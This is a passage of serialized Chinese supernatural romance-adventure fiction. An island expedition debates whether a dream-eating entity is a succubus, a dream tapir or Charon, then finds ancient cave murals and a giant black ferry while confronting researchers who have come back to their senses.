他在喘气。呼出的热气不断地拍打在之芙的脸颊上,他似乎很喜欢她两腮上的软肉,黏黏糊糊地抿着,像是在吃一块珍贵的糖,含在嘴里,不舍得咽进肚子里。 “唔……”他的表情有点为难,像是在思考一个非常严峻的问题。好半天,他似乎想到了什么,说,“舍不得,我还是把你当成储备粮好了……嗯,只要你每天提供给我很多很多的……吃的,也可以把我喂饱。” “吃的”是什么? 之芙没来得及问。男人的眼神落在她的唇瓣上,迷离了一瞬间,他喃喃着说:“吃人类和吃人类的梦境都没什么滋味,但你上次教我的……” 话还没说完,潮湿炽热的唇已压了下来。他的唇贴着之芙的唇瓣缓慢地磨蹭,像是根本不懂得接吻的初生小兽,动作生涩,充满模仿的意味,却有意无意地用牙关啃噬着唇瓣,带来一阵电流般的颤栗,继而生涩地伸出舌尖—— 他的动作生涩却粗暴,舔吮着柔软的唇珠,非人的长舌探进口腔里,横蛮地舔舐敏.感的上颚,掠走每一分甘甜的津液,发出满足的喟叹,他抿住舌尖,忽然一阵刺痛。 “嘶!” 他不可置信地摩挲着唇瓣,之芙在上面留下了一个渗血的牙印。 之芙喘了口气,轻微的刺痛感从唇瓣传来,她蹙了蹙眉,问:“等等……你是魅魔吗?” “魅魔?”两个字像是从他嘴里哼出来的似的,他重新俯下身,反问,“魅魔是什么?” “就是……”之芙刚张开嘴对方就贴了过来,她不得不紧紧地闭上嘴以示拒绝,男人等了好半天,见她态度坚决,只得哼地重新展示了,摆出一副无所事事的态度。 “就是……”之芙重新获得了说话的权利,她仔细想了想,一时间竟然很难定义魅魔到底是什么,“就是,和人类长得一样,但我们靠吃人类或者其他生物的情感来生活,别的不同嘛……我们还可以自己捏造自己的身体,比如说可以捏一个翅膀混进天使里,或者捏一个恶魔的尾巴混进恶魔里,当然也可以把自己捏成其他生物的样子,主要是看我们想吃什么样的情感……” “还有就是……我们不吃人!更不吃人的灵魂!我们也不会操控别人的梦境……不过,蛊惑一下人类的精神还是没有问题的。” 男人挑眉:“你觉得我是……魅魔?” “……不是我,是夕同简。”之芙说,如果她把男人错当成魅魔,那也是夕同简的错!明明是他的文件上这么写的……谁能想到,这群研究员研究了半天,结果连物种都能搞错啊? 不过,鉴于人类对魅魔也知之甚少,全靠脑补和艺术修饰……大概在他们看来,能进梦里引诱人的东西,就是魅魔吧? “我也不知道我是什么。”大约因为吃饱了,男人变得很好说话,他懒懒散散地站在手术台边缘,凝视着她,道,“如果你说的那种东西是魅魔,那我应该不是。我为什么要知道自己是什么?呃,别瞪我啊。我想想,我应该有点印象来着……嗯,曾经有人叫我‘食梦貘’,也有人叫我‘渡船的卡戎’……” 之芙愣了一下:食梦貘? 第70章 《大卸八块》 “我来抱她。”…… “食梦貘?” “对, 其实我觉得,它更像是大陆人文献里的食梦貘。”戎淼轻声解释说,“在大陆人的描述里, 食梦貘是一种上古时代的野兽,长得像是老虎或者豹子, 又叫做貘豹, 它会进入人类的梦境里,编造出美好的梦境,给人带来平静和安宁。” 严雾看了一眼躺在地上的之芙。夕同简抱着她蹲在地上, 戎火提着灯, 灯光照亮了之芙的脸,她的脸上呈现出一种安详的表情, 在灯光下散发出莹莹的微光。 她想了想问:“那‘卡戎’又是什么?也是野兽吗?” “卡戎是古希腊神话里冥界的船夫。在古希腊神话里, 人间和冥界以冥河相隔, 卡戎就是冥河的摆渡人, 它把死者的灵魂渡往另一个和平安详的世界, 登上船的人会在睡梦中抵达永恒。当然,生者也可以过河,只要你付钱。”① 戎淼从衣服里掏出她用绳子挂在脖子上贴身存放的一个吊坠, 准确来说是两枚串在一起的银币。 “在部族里, 母亲会为即将降生的孩子准备船费, 等到他们降生, 母亲就会把银币串起来,让孩子带在身上。因为卡戎随时可能降临, 所以银币不能离身。” 戎火也从衣服领子里拿出吊坠,和戎淼的一模一样,也是两枚银币串在一起。 “虽然夕老师和研究员们说梦里的那个男人是‘魅魔’, 但我觉得他其实更像是大陆人描述里的食梦貘或者卡戎,对吧?无论是对于梦境的编造能力,还是戎火描述的那个壁画,都跟大陆人的文艺作品里描述的‘魅魔’相差甚远吧?” “那只是一种猜测。”严雾不由得解释道,“实际上其实那更像是一种代号吧?就像是学名一样的东西,如果我们真的找到了那个种群,到时候应该也会重新给他们命名……” 戎淼握着手上的银币项链看了过来。 “好、好吧……”严雾垂下脑袋,“其实种群什么的都是我们的猜想,我们只是认为,呃,一种生物,总不可能只有一只吧?如果能找到这个生物的种群……” 所以其实他们的研究从一开始就错了。戎淼他们的岛屿把祂当做神明来供奉,而他们这群研究员却非常唯物论地认为他只是一种未被发现的物种,所以一定还有更多的种群出现…… 这件事里最可悲的是,从现在的情况看来,戎淼他们的信仰很可能是真的,而他们的研究才是错的…… 不过……“你们是怎么知道我们研究了什么的?” 戎淼笑了笑:“我又不是听不懂你们的话,反而是你们听不懂我们的语言,我们只是海岛上的野蛮子,你们能对我们有什么防备?再说了……”她手指轻轻地在项链上一转,两枚银币在指尖转得飞快,“你们的研究器材,都是我们帮忙背上岛的,想看什么自己找就是了。” 严雾张了张嘴,一时哑然。 他们还以为戎淼戎火只是向导:“所以你们是信仰卡戎的信徒吗?” 戎淼摇了摇头:“就像是你说的,这只是个代称。准确来说,祂又像是食梦貘又像是卡戎,所以祂什么也不是。在我们本地的语言里,祂叫作……”她用海岛的方言说了一个词汇,那不是常见的世界语言,严雾也从来没有听过这样的发音,艰涩异常,还很绕口。 “在我们的传说里,等到正确的时间和人出现,等到万物重新开始流动之时,祂和祂的土地就会降临世界,我们可以登上祂的渡船,去往世界的彼岸,为此我们几乎一生都在等待……等待正确的时间和人,等待祂的出现。” 严雾意识到了什么:“你们是故意混进来,成为我们的向导的……?” 戎淼摊手:“那可不是。最初我们跟你们一样,对这个海岛和祂毫无所知,呃,其实现在也一样,所以总体来说还是你们比我们懂得多一些,我们跟你们是一样的。所以一切都只是巧合,我们成为向导也是巧合。” “你也可以认为这是祂的安排,你们找到那个昏迷在研究所外的人是祂的安排、你们被引导到这座岛上也是祂的安排,我们成为你们的向导,也是祂的安排。” “不过,你们真的无功而返太多次了,多到……我们都失望了。我以为这次也是一样,一场无功无过的探险,一次平常的失败的研究。直到——” 戎淼的语气慢慢沉了下来,她的表情也逐渐认真:“直到,我们在船上,看到了她。她和你们不一样。” ——她和你们不一样。 严雾刹那间意识到,这是在船上时,戎淼就说过的话。只是当时没有人把这句话放在心上,即使他们第一次见到之芙的时候就毫不掩饰他们对她和对其他人的区别对待。 戎淼的视线落在了躺在地上的之芙身上。 “之芙是这次科考里,唯一一个梦见了‘祂’的人。”半抱着之芙的夕同简忽然开口。在半晌的沉默里,在刚刚质问之后,这还是他第一次开口,只是语气不太好,“所以你们是发现了她和其他人的不同之处。” 戎淼举起手,做了一个投降的动作试图缓和氛围,她语气很真诚:“不不不……我们可没有那么神通广大,我们是真的什么都不知道。夕老师,至少我们是真的尊敬您的。” “只是……你们都没有发现吗?之芙她跟你们不一样。” “什么不一样?” “就是……”戎淼面露难色,就好像在自己有限的词汇里寻找合适之芙的形容词,对她来说是个很困难的事情,“她很……自由,能这么说吗?或者换一个词,我听过你们大陆人用不同的词来形容两种不同的人,一种是‘城市里的人’,另外一种是‘土地上来的人’。” 她摸了摸下巴:“对你们来说,你们好像很轻易就能区分出这两种人……虽然我一点也不理解你们是怎么区分他们的。对我们来说,区分她和你们,就像是你们区分这两种人一样轻而易举。她身上有一种你们身上都没有的感觉……怎么说呢,自由感?那种气息,她和你们不是一类人,甚至不是一种人。” “你的意思是,她跟你们才是一类人?” 戎淼却还是摇头。 “真要说的话,我们跟你们才是一类人。之芙她……” 她的目光落在之芙的脸上,在那张白皙的面庞上巡梭,目光如流水一般划过她的下颚、嘴唇和鼻子,最后停在她紧闭的眼睛上。 她的眼睫微微颤动,如同一只振翅欲飞的蝴蝶翕动着翅膀,像是下一秒就要从这漆□□仄的山洞中飞出去似的,又重重密密地压下,像被钉死在石窟上似的。 “之芙她看起来,更像是祂的那一类人呢。” 严雾和夕同简同时一愣:“什么意思?” 戎淼绕了绕掉在肩膀上的发丝,再度陷入沉思——对于一个只是学会了大陆话的海岛人来说,选择合适的词汇来解释她的奇妙的感受确实是一件很麻烦的事情,更何况大陆人的词汇里并不像海岛的语言体系一样,有专门来形容这种感受的词汇。 不过,这一次她没有思考很久。仅仅几分钟后,戎火忽然站了起来,从腰间抽出匕首:“有人,他们来了。” 众人骤然转头。 戎淼把耳朵贴上了一旁的石壁,听了一会儿,说:“有震动,应该是脚步声。他们来了。估计是刚刚严雾的尖叫吸引了他们,我们……” “往里走。”夕同简说。他把之芙从地上扶起来,抱了起来。“这里是死路,往里走。” “不。”戎火言简意赅却态度坚定地说,“里面,不行。” 戎淼补充:“之前在里面戎火见到的那个壁画不简单。那上面也写了‘快跑’,他的意思是最好不要进去。” 争执的几句话间,脚步声越来越近了。严雾一个激灵地从地上爬起来,却一下子不知道往哪里走了,只能站在原地等他们争执出个结果来:“那外面的人……” “……”戎火不言,抬了抬匕首。灯光下,匕首上的寒光一闪而过,像是死神的镰刀,尖锐得刺眼,言下之意已经不言而喻。他顿了顿,目光一直死死地盯着入口的方向,那里一片漆黑,然而他的神情和动作都像是蓄势待发的豹子,“谁重要?”他问。 是自己和严雾、和之芙的命比较重要,还是那些研究员们的命更重要? 戎淼也动作轻巧地从腰间抽出匕首,她比划了一下,匕首锋利异常,刀锋上的光像是一道细细的线,从山洞的顶部一闪而过。 “我们两个人就够了。”戎淼说,“你和严雾带着之芙跟在我们身后,先出去再说。” “等等。”夕同简沉声道。 “怎么,怕我们处理不干净?放心,你们陆地人可比雨林里的野兽好杀多了。” “……” 严雾期期艾艾地看了过来,眼里都是抗拒:“夕老师……” 她知道戎淼戎火说得没错,但毕竟是朝夕相处的同事,无论如何也做不到杀害对方,即使这只是正当防卫,即使不是自己下手。 但一切,还是要交给夕同简来做决定。 夕同简深吸了一口气。他抱紧了之芙,说:“往里走。” “……”戎火直直地看了过来,他紧皱着眉,表情有点不耐。明显不赞同夕同简的决定。“你说,听我的。这句话。” ——在签订合同的时候,夕同简跟他约定过,如果遇到危机,所有人包括他自己都必须无条件听从戎火的决定,这是对于他的信任,也是他们生命的保障。 夕同简看向自己怀里的人,道:“她在做梦。” 他的怀里,之芙的眼睫微微颤抖着,眼皮下的眼球正在震颤——那是正在做梦的表现。 “出去容易,找到真相很难。”夕同简看向站在一起,手持着匕首的两兄妹,一边在脑海中思考着自己的手枪放在哪里、又要怎么在抱着之芙的情况下以最快的速度抽出手枪射击,一边冷静地陈述自己的想法,在天平上加码,“你们是觉得‘天选之人’的命不重要,还是觉得‘祂’的真相不重要?你们不是很想登船吗。” 这个问题,又再次被抛回给了两兄妹。 戎火和戎淼对视了一眼。 他们收回了匕首,对着夕同简点头示意。 严雾长长地松了一口气。 夕同简表情不动,示意他们把自己的背包背上,抱着之芙迈开脚步往洞穴深处走去。 走出几步路,戎火从后面跟上来——这是他们之前分配的队形,戎火在前面开路,戎淼在后面殿后。夕同简稍稍让开了一点路,让戎火走到前面去。 然而,戎火停在了他的身边。他伸出手,朝夕同简示意道:“给我。” “我来抱她。” 夕同简:? 70-80 第71章 《大卸八块》 “这个,真、真的是船!…… “给我。”戎火的脚步不停, 语气轻描淡写,仿佛这只是一件普通的小事,“我来抱她。” 夕同简顿了一下。他没有放手反而把之芙又往上抱了抱, 也语气平淡地说:“不用,我来就行了。” “你、不行。”戎火坚持, 他表情认真, 如果换一个人来说这些话,大概会委婉一些。但说这话的人是戎火,是学不会陆地人的“委婉”的戎火, 脑海中词汇量也不多的戎火。他看了看夕同简的手臂, 伸出手说,“力气, 不行。” 夕同简再一次掠过戎火的手臂, 几乎要被他的直白气笑了, 虽然知道戎火大概或许可能是好意, 但在一个人的未婚妻面前说对方不行并且要求照顾他的未婚妻, 这和明晃晃地在他面前卖茶勾引他的女朋友有什么区别? 更何况——可能或许大概,他也不是好意。 别以为他不知道!戎火戎淼两兄妹背地里悄悄勾引之芙这件事……而且,他还不能说什么。因为他们俩觉得他是渣男, 配不上之芙, 还特别看不惯他对之芙的冷眼…… 什么渣男, 真正欺骗感情的渣女明明其实是之芙才对…… 在情敌的殷勤下, 夕同简头一次有些憋屈地感谢起了自己的健身习惯,不为别的, 如果他真的是一个手无缚鸡之力、天天坐在研究室搞研究的宅男,现在可能就真的没有力气抱之芙了。 “我抱得动。”夕同简直视着戎火,微微抬起下巴, “这是我的未婚妻,交给别人来照顾,我也不放心。” 然而戎火也毫不避忌地直视着他,说:“现在不是了。”顿了顿又补充,“你说的。” ——他的眼睛里没有挑衅的意思,像是只是在冷静地称述一个事实。 然而就是这样,才更令人火大。 夕同简意识到是之前他跟之芙说的话被戎火听到了,一时之间脸上的微笑也有点维持不住了。 他冷冷地反驳了回去:“这只是我和之芙之间的问题。” 言下之意就是,即使有矛盾,也只是他和她之间的事情,外人不适合插手。 “更何况,”他话锋一转,“抱着人,也不适合用匕首吧。” 他这句话说得倒是在理。戎火又盯着他看了一会儿,才终于放弃,转身越过他脚步快速地走向前方。 他们即使说着话也没有停下脚步,毕竟身后的脚步声已经很近了。 身后的严雾提着灯,忽然说了一声:“夕老师,您看。” 夕同简抱着之芙,视线顺着她的视线往上方看去,视线定格在石壁上方的壁画上。 虽然之前戎火就已经像他们描述过这些壁画的样子,但亲眼目睹比想象中还要令人震撼。 一整面的壁画泛着焦黄的颜色,上面覆盖着一层浅浅的灰,像是几千年的岁月具象化后覆盖在上面的一层轻纱,壁画尺寸巨大到吓人,让人难以想象以前没有工具的人是怎么画下这么巨大的壁画的。 此刻他们已经走到了石壁的中段,石壁上的小人乘着船在汪洋大海上航行,有几个画面详细绘画出小人的脸和动作,夕同简扫过小人身上穿的衣服,忽然注意到了什么——他指向小人的脖颈处,语速飞快地询问戎淼:“这是你们的项链?” 画面上的小人穿着简单的衣服,很明显是简化过的,但所有人都脖颈上都画了一根线,看起来像是项链,只不过不太明显。 如果不是夕同简提出来,这些线条很容易被忽视。戎淼也愣了一下,仔细地看了看,片刻后非常肯定地道:“对,就是银币项链。” 只有海岛上的人才会有这样的项链,虽然看不到隐藏在小人衣服下的项链上挂着什么,但想来也是“船费”了。 “所以……” “所以这上面的人,都是我们的祖先了?”戎淼先一步接话,她从严雾的手里拿过提灯,走到石壁旁边,用提灯照亮了上面的一个个小人,“怪不得……” 怪不得,陆地上没有跟他们一样的信仰和传说,陆地上的人也不知道这些项链的用处。 “所以那个传说是真的……”戎淼喃喃,“原来是真的……” 夕同简心说难道你自己并不相信“祂”吗? 或许是夕同简的表情太明显了,戎淼说:“我只是,唉,我只是被你们陆地人的唯物主义影响了。毕竟这么多年了始终没有别的论证,还以为……”她没有继续说下去了。 脚步声变得更近了,夕同简示意严雾拿密封袋上去刮了一些粉末留作实验用,随后众人没有过多停留,跟着戎火继续往里走。 随着脚步深入,之前戎火描述过的壁画也逐渐映入眼帘,就像是跟随画面中的小人一起经历了流离和逃亡,画面最初,小人遇到了洪水和天灾后逃到了海上,见过了漂泊后找到了这座岛屿,他们走进山洞…… 严雾忍不住问:“这画上的人,就是从天灾中活下来的,海岛人的祖先吗?” “……” 这是显而易见的。意识到自己说了一句废话,严雾舔了舔干燥的嘴唇,又问:“那、那……画这幅画的人,他也是从天灾里逃出来的吗?他是一个人完成这幅画的吗?” 壁画里的故事逐渐往前。 漂浮在海上的小人终于找到了这座海岛,上岛时它的周围明显还有不少的同伴。但随着画面进入到山洞的部分时候,它身边的人变少了很多。 然后就是令人心惊的黑色。 后面的画都消失了,像是被风沙抹去了,又像是那冥冥之中的书写者不允许后来人窥探。 画面终止在小人们进入山洞时。一直到最后,才陡然出现了终局的画面。 一个黑色的小人躺在地上,陷入了梦乡。他的头顶出现了一片白色,似乎在隐预天国。小人的灵魂从他的身上漂了起来,变成了白色的灵魂的样子,正走向前方。 严雾的声音干得发硬:“如果,他是一个人完成了这幅画,那最后……他去了哪里?” 看着这些画作,似乎能想象到在几千年前的黑暗中,有个人类穿着简单朴素的衣服,在漆黑而安静的石壁间静静地作画。整个海岛上除了同伴的尸体之外再无他物,他是怀着怎样的心情勾勒出这一笔一划的? 他有没有想过可能永远也不会有人看到这幅画?画面上的人类在此后的几千年里一直静默在黑暗中,在每一个呼吸间静静地等待着一群可能永远也不会到来的观察者。 这样想着,仿佛有一种宿命似的东西指引着他们来到了此地。 所以……画作里的人最后去了哪里? “他是不是,像是他画的那样,登上了神明的渡船?” “别忘了,壁画尽头写着什么。”夕同简忽然冷冷地道,这似乎是他第一天以这样冷酷的声音说话,像是冬天结冰的冰块一下子拍打在了所有人的脸上,“所以也有另一种可能。” “失去了同伴的人走进山洞,他饥寒交迫,身上却带着一些颜料。他绝望地意识到文明即将就此消失,于是决定作画记录种族的历史。不知道画了多少个日夜,他顺着石壁走向深处、更深处。” “在绝望和饥寒交迫之中,他产生了幻觉。在幻觉中,他似乎察觉到有人在看着自己——这就是壁画中无处不在的黑影的来源——总之,在临死前,他开始幻想自己的灵魂跟随神明登上渡船,走向了无悲无喜、没有痛苦也没有饥饿的天堂。他把自己的幻想画进了壁画之中,他往前走,以为自己在走向天堂——但那其实是颜料让他产生的错觉。” “然后……他走到了石壁的尽头。” 夕同简的声音很轻,却十分有画面感,让人不寒而栗。 “……他看到了什么东西。” “他想逃跑,但一切都来不及了。” “于是……他在石壁的尽头,写下了那句话——快逃。” 严雾打了个寒颤:他们正顺着绘画者的路线往前。绘画者的结局,会不会就是他们的? 戎火突然说了一句长长的话。戎淼翻译道:“戎火说他们当时在尽头没看到奇怪的东西。不过那个地方确实很诡异,有种说不出来的感觉,让他觉得很危险,而且,那里的地形也很奇怪。” 戎火又说了一句什么,戎淼若有所思:“听起来,有点像是……码头?” “码头?” 身后的脚步声如影随形,众人都不由得加快了步伐。顺着惨白的墙壁向前,前方传来了隐约的水流声,伴随着巨大的浪花拍打在礁石上的嗡鸣。 “就是,有点像是码头一样的悬崖。”戎淼一边跑步一边解释道,“戎火说那里是一个直上直下的峭壁,其实就是悬崖吧。我想他可能是被壁画影响了,所以才会产生这种联想,其实也正常吧,这种几乎是封闭式的石窟确实很容易让人产生幻觉什么的……” 她的声音逐渐止住了。 “哈……” 几人已经到了石窟的尽头,在他们的身侧,就是戎火曾经说过的,刻着“快逃”两个字的墙壁。如果是之前,夕同简和严雾绝不会放过拍照和取材实验的机会。 但现在…… 所有人都目瞪口呆地看向了前方。 ——戎火说得没有错。这里,确实是码头。 在悬崖的前方,在峭壁上,有一艘巨大的船。这艘船并不像是人类世界里的大型轮船似的,而是像是一艘被无限放大的小渡船,船的两边撑着又高又长的巨型船桨,他们站在悬崖上,却也只是堪堪够到了船的入口。 ……这是什么奇怪的幻觉吗?为什么会有船停在这里?停在这个悬崖上,停在这个……码头? 就像是误入了什么巨人国似的,他们就像是几只蚂蚁站在船的前方。船身通体漆黑,却也不像是任何颜料——那些颜料会反射出其他光和色彩,但这艘船上的黑色却像是黑洞一样,吸走了周围的光源,也像是无底的深渊一样,把他们的视线吸了进去。 站在巨大的船的下方,整个人会感觉到一种头重脚轻的眩晕感,又像是坠入云雾,周围的一切都仿佛一下子变得不真实了起来。 严雾倒吸了一口冷气。 仿佛被蛊惑了似地,戎淼走上前去,带着梦游一般的表情,她摸了摸船的身体,露出了惊讶的表情。 严雾也跑了上去,摸了摸船,发出了剧烈的吸气声,她骤然看向夕同简,脸上还带着不真实的恍惚表情:“夕老师……这个,真、真的是船!” 第72章 《大卸八块》 “你有船票吗?”夕同简…… ——偌大一艘船就这样明晃晃地停在了他们的面前, 不是幻觉,不是梦境。 但这一切都太难让人理解了。怎么会……突然有一艘船出现在这里? 戎火低声说了一句什么。 戎淼愣了愣,翻译道:“戎火说, 他上次来这里的时候,除了那些壁画, 这里什么也没有。” 距离上一次戎火和之芙他们来到这里也只不过一天而已, 而那时这里分明还只是个普通的悬崖,绝对没有什么奇怪的船停在这里。 “所、所以……”严雾结结巴巴地道,“是有人把船停在了这里?” “……”所有人不约而同地陷入沉默, 四周顿时死一般的寂静, 一时间只有浪花拍打在岸边的声音不断响起,提醒着他们眼前的一切绝对不只是一个噩梦。 严雾说完, 也意识到了自己刚刚说出了多荒诞、多恐怖的话来。 ——如果是有人在戎火和之芙离开之后把船停在这里的, 那么……那个“人”在哪里? 用脚想都知道, 能行驶这样一艘巨船的, 绝对不是什么普通人……而且对方在这么短的时间里停留或者经过了这里, 所以……它离开了吗? 严雾侧了下头,看向了一旁的壁画。此时天色已经黑沉,又到了深夜, 天边皎洁的月亮像是蒙着一层纱一般看不清晰, 地上的月光也朦朦胧胧, 不仅无法照亮黑暗, 反而平添了一份模糊的恐怖。 只有戎淼手上的提灯还有光,那些光落在一侧的石壁上, 严雾看到石壁上刻下的、入木三分的奇怪字符,她几乎能想象对方是以一种怎样的恐惧和绝望,在生命的最后一刻刻下这些古怪字符的……因为她现在也是这样。 严雾吞了下口水, 在浪潮声中清晰地听到了自己吞咽的声音。她干笑了一声,只觉得连声音都干涩得可怕,但仍然不得不开口:“现在……我们是不是应该,按照壁画上说的那样,转身逃跑?” “……” “如果有可能的话。”戎淼说。 “有可能?”严雾问。但紧接着,她也意识到了戎淼为什么这么说。 ——身后传来了急切的、慌乱而又凌乱的脚步声。他们在这里耽搁太久了。 “要、要、要……”她一连打了个几个顿,有点崩溃了,“怎么办?!” 本来是指望着过来能发现什么之前戎火没有看到的线索,能解决之芙和其他研究员被蛊惑的办法,或是从悬崖上找路下去的。但现在这艘船成了最大的变数,这艘船停在这里,就没有办法找路下去了——它把通往悬崖下的路完全堵死了。 “……”戎淼微不可查地叹了口气。她任命一般抬起手,露出藏在袖子里的匕首,说,“夕老师。” “这算是正当防卫,对吧?” 夕同简微微点头。 “我会尽量不出人命的……尽量。”戎淼又说,“现在只能祈祷我们离开后能快点找到救援,能救他们的命……往后站。” 严雾看看一脸不忍的戎淼,又看看一脸肃杀的戎火,最后目光落在夕同简的身上。 夕同简抱着之芙,朝她摇了摇头。 于是严雾知道这是无可辩驳了——她也知道现在是没有退路,不是你死就是我亡了。于是她退到夕同简的身后,咬住了唇瓣,脱敏一般在脑海中一遍遍地演练起了可能会出现的血腥画面…… 没事的。没事的。严雾在心里对自己打气,同时目光落在之芙的身上。忽然,她只感觉到手里一沉,夕同简往她的手里塞了什么冰冷而沉重的铁疙瘩。 “会用吧。”夕同简几乎是用气音在说话。 严雾往前看了看,突然意识到,夕同简并不想戎火和戎淼两兄妹知道他有枪这件事。虽然不明白夕同简为什么这么做,但她信任自己的老师,于是也没有声张,只微微点头。 在这次考察之前,考虑到可能会出现的各种危险,所有的研究员都统一配枪并学习了开枪的方法,虽然只是简单培训,但在这种情况下也够用了。 “别让别人知道你有枪。”夕同简又说,他的目光看向前方,严雾正欲点头,便听见他顿了顿,又补充了一句,“……包括你的同事们。” “?”为什么? 面对她的疑惑,夕同简没有过多解释,他只是轻轻摇头,抱紧了怀里的之芙。 “夕老师,那您……”他把他的枪给了她,那他怎么办? 海浪拍打的声音淹没了他们的交谈声,夜风呼啸着穿过洞穴,发出像是人类的哀嚎似的声音,也吹起夕同简身上的外套和他的发丝。 “我是领队,又是你们的老师。我本来该对你们负责的,为这个研究而死的人已经够多了。”他忽然说。语气很淡,但声音沉重,夜风卷起他的话语,又多了一些释然,“人生无常,尽力而为。” 严雾意识到,夕同简说的“尽力而为”是指她。 她卡了一下,像是机器人死机似地,用力地转动着自己缺了油的那块齿轮,试图想出什么安慰的话来。然而话脱口而出的时候才更觉干涩,没有油的齿轮咔咔作响,甚至有点滑稽:“夕老师,就是,呃,我觉得也没有那么严重对不对……您看,我就是自己醒过来的。说不定,说不定……说不定他们也只是自己醒了过来,主动来找我们?” 说完这话,她又意识到了不对和荒谬,尴尬地舔了舔干燥皲裂的唇。她往洞口看了一眼,已经能看到不远处若隐若现的人影了。 戎淼最后往后看了他们一眼,再次说:“退后,我们能行。” 人影逐渐靠近,还没看清楚对方的样子,戎火已经握着匕首冲了上去,他的速度快到看不清,只在黑夜中留下了一道风似的影子,紧接着戎淼也提着灯冲了上去,她的身形比戎火灵巧得多,一手拿着匕首另一只手提着灯,光影闪烁间不仅看不清楚她的位置,连眼睛都被她摇来晃去的提灯给闪得刺痛。 严雾勉强闭了下眼,就听到了一声闷哼,随即是身体倒地的声音,和漆黑的洞穴中突然爆发的血腥味。 “等等!等等!”洞穴深处忽然传来了尖叫声。 所有人身形一顿。 ——被蛊惑的人,能沟通吗? 答案是否定的。夕同简和戎火戎淼都亲眼见过,被蛊惑的人是没有理智可言的。 此刻好像一个荒唐的场景成了真,在场的所有人都一时僵住了。 “……”严雾又干笑了两声,她说来安慰人的话居然成了真,仿佛那个冥冥之中的神跟他们开了个玩笑……所以她真的是在梦里吧?! 夕同简最先反应了过来,他把之芙放在地上,然后一个箭步冲了上去:“还好吗?!有人伤亡吗?!” “……” “没有。”戎淼回答。她把匕首收回了腰间,提着灯,审视着面前这群突然出现的人。 ——他们穿着灰扑扑的外套,像是在泥地里打了个滚似的,脸上也脏兮兮的,手里拿着乱七八糟的武器,刀和枪之类的…… 但最重要的是,所有人的脸上都满是惶恐,那是一种难以理解发生了什么的慌乱,但眼神很清明。 “只是有人受伤了而已。”戎淼拦住想要上前的夕同简,举高了手里的提灯,明晃晃的灯光落到对面人的脸上,“发生了什么?” “我们……” 半晌的沉默之后,才有人诺诺地道: “我们也不知道发生了什么……” “就是……一觉醒来,发现自己不知道为什么躺在地上……就……” “我们最开始想出去,但找不到路,就迷路了……” “我们看到了夕老师留在地上的草稿纸,上面写着出去的计算公式,但是……山洞里的路好像会变……” “会变?什么意思?” “我们走了一段路之后想反悔,却发现之前经过的那个山洞消失了……” “我们听到了小严的尖叫声……之后就顺着声音找来了。” 研究员们脸色惨败一片,和站在原地的四人面面相觑。 “夕老师,你们怎么会在这里?发生了什么?” ——这一定是神的恶作剧吧。 …… 半小时之后,所有人坐在了地上,幸好有人的背包里带着毯子,便把毯子靠着石壁铺成一条,坐在一起取暖。 海岛的夜晚即使在帐篷里也冷得让人瑟瑟发抖,更别提是在悬崖边的山洞里了。 呼啸而来的风穿过山洞,这里几乎成了一个天然的引风口,所有人里也就戎淼和戎火体质稍微好一点,能抗住这么大的风。 两人拿着从衣服上撕下来的布条,给受了伤的三个人做了简单的包扎,夕同简和严雾两人一起把之前发生的时候大致地跟研究员们讲了一通。 夕同简把之芙放在了自己的身侧,用身体挡着最外边的风。 “之芙还没醒吗?”戎淼包扎完伤口,问了一句。 夕同简摇摇头:“那三个人怎么样了?” “……”戎淼沉默了一下,“一个被打晕了还没醒,一个皮肉伤,包扎了一下先止住了血,没什么大碍,还有一个……你知道的,我们这种人跟你们这些细皮嫩肉的陆地人不一样,下手比较重。” “暂时是没有危机了,但伤口在腹部,虽然没有伤到内脏,但失血过多,看着不太好,最多再挺几个小时,还是快点回科考船上去吧,那里可以呼叫直升机救援。这个地方连绷带都没有。” “先往回走吧。”夕同简按了按额头,示意严雾看着一点之芙,他跟着戎淼去看了看受伤的那个人。戎火下手重,那个倒霉的研究员的腰下被划出了一道大口,不幸中的万幸是没有伤到内脏——内脏受伤可不是好玩的,几分钟就能要人命——戎淼给他包扎过了,暂时止住了血,但也没法管太久,必须立刻去找救援。 而且,就算暂时没有生命危险,他们也没有止痛药。受伤的男人脸色惨白,额头都是血汗,即使极力抑制,喉咙里也止不住地发出痛吟。 夕同简检查过伤口,跟对方说了几句话,确认了他的神智还算清醒。 “这些人先留下来照顾伤员,戎淼,你跟我去看一下路。”现在的当务之急是离开这里,但研究员们之前的说辞让夕同简心里非常不安。 “戎火也留下来,防止出事。”夕同简看了一眼停在悬崖外的巨船。巨大的船只打下一片阴影,把所有人都笼罩在了不详的黑暗中华。 他和戎淼简单地收拾了一下装备,交代过其他人之后,一刻不敢多耽误地往外走。 “等等,夕老师!”严雾追了出来,“夕老师,那个……” 戎淼看她似乎有话要说,识趣地避开了,往前走进洞穴深处。 严雾把衣服里藏的枪悄悄塞在夕同简的手里:“夕老师,这个还给你。我觉得还是你比较需要这个。” 夕同简摇摇头,把枪推了回去。 “夕老师?”严雾不明所以,把枪塞回了夕同简的手里。 夕同简轻声说:“请你帮我照顾之芙。” “我、我们肯定会的!这个不用您说也会!” “……”夕同简又轻轻地叹了口气,他发现严雾似乎对自己未来可能会面对的事情一无所知。“如果我们找不到路,怎么办?” “什么意思?” “如果找不到路,就只能……”他的目光投向了漆黑的巨大船只,虽然没有说明白,但言下之意已经不言而喻。“但这艘船,为什么会停在这里?你想过吗? “我想过了,夕老师。虽然不知道为什么,但是我觉得这艘船停在这里也挺好的,至少不是死路一条,不是吗?”严雾安慰他。 夕同简把枪再一次放回了严雾的手里。 手枪又冷又重,像一块冰似的冷冷地贴着她的手心,带来不详的预感,也带来难以言说的、血腥而陌生的安全感。 “你有船票吗?”夕同简反问。 “……”严雾倒吸一口冷气,呆立当场。此刻她才后知后觉地意识到了什么,整个人像是被人兜头浇下了一盆冰水似的,站在风口打了个寒颤。 她嘴巴翕动了一会儿,才发出声音来:“什、什么意思?” “你觉得,那个梦里的男人,真的有这么好心,蛊惑了人之后又让他们恢复清醒?”夕同简再次反问。他拍了拍严雾握着枪的手,最后回头看了一眼身后。 ——那是怎样的目光啊,厚重的、眷恋的,同时也冷酷的,一一划过坐在地上的研究员们的脸,他的表情有些不忍,又像是已经知道了结局后的令人胆颤的平静,一息之间许多复杂的神色在他的脸上划过,却又像是水洗一般快速地冲过,没有留下半点痕迹。 最后,他的目光停留在躺在地上,陷入昏睡的之芙,和坐在她身边的戎火。 摸了摸,他挥了挥手。 手心向内,手背向后,是一个告别的姿势。 随后,他大步踏入了前方的黑暗中。 第73章 《大卸八块》 等等!她在想什么啊!她…… “……” 回到队伍中后, 严雾就一直有点心不在焉的。 